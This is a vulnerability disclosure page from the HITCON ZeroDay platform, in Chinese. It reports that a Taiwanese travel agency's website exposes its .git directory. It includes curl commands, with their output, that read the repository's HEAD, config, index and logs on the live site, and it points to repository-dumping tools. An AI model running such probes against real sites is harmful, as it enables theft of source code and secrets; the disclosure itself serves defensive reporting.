Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2026-01083
- Vendor: 鳳凰旅行社
- Title: 鳳凰旅遊 .git 版本控制目錄對外暴露,導致原始碼與內部資訊洩漏
- Introduction: 網站根目錄下的 `.git/` 版本控制資料夾可經 HTTP 直接存取,攻擊者可還原整個 Git 儲存庫,取得網站原始碼、設定檔與提交歷史。
處理狀態
目前狀態
公開
Last Update : 2026/10/24
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2026/08/24 19:43:11 : 新提交 (由 MaZon 更新此狀態)
- 2026/08/24 19:43:50 : 新提交 (由 MaZon 更新此狀態)
- 2026/08/28 18:30:35 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/08/31 17:52:50 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/08/31 17:52:50 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/08/31 17:52:50 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/10/24 03:00:13 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2026-01083
- 通報者:masonzeng (MaZon)
- 風險:高
- 類型:資訊洩漏 (Information Leakage)
參考資料
攻擊者可利用洩漏資訊進行下一步攻擊行為。
OWASP 漏洞說明 (Top 10 2017 - A3 Sensitive Data Exposure)
https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure
CWE-200 漏洞說明
https://cwe.mitre.org/data/definitions/200.html
OWASP 漏洞說明 (Top 10 2017 - A3 Sensitive Data Exposure)
https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure
CWE-200 漏洞說明
https://cwe.mitre.org/data/definitions/200.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://www.fctour.com.tw/.git/HEAD
https://www.fctour.com.tw/.git/config
https://www.fctour.com.tw/.git/index
https://www.fctour.com.tw/.git/logs/HEAD
https://www.fctour.com.tw/.git/config
https://www.fctour.com.tw/.git/index
https://www.fctour.com.tw/.git/logs/HEAD
敘述
網站將 Git 工作目錄直接部署於網站根目錄,且未阻擋對 .git/ 的 HTTP 存取。.git/config、.git/index、.git/logs/HEAD 等關鍵物件均可讀取,攻擊者可藉此(如 git-dumper 類工具)還原完整儲存庫,取得全部原始碼、資料庫連線設定、API 金鑰與提交歷史。
確認 .git 存在
curl "https://www.fctour.com.tw/.git/HEAD"
→ ref: refs/heads/master
讀取 .git/config(洩漏儲存庫設定)
curl "https://www.fctour.com.tw/.git/config"
→ [core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = /home/git/.git/fctour.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master
判定:.git/config 可讀,並洩漏伺服器端儲存庫路徑 /home/git/.git/fctour.git。
確認儲存庫可被完整還原
curl -o /dev/null -w "%{http_code} %{size_download}B" "https://www.fctour.com.tw/.git/index" → 200 22105B
curl -o /dev/null -w "%{http_code} %{size_download}B" "https://www.fctour.com.tw/.git/logs/HEAD" → 200 170B
判定:.git/index(22KB,完整檔案索引)與 .git/logs/HEAD(提交歷史)皆可存取。有此二者加上 objects 目錄,即可用公開工具離線重建整個原始碼儲存庫。
修補建議
立即阻擋對 `.git/` 的 HTTP 存取
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。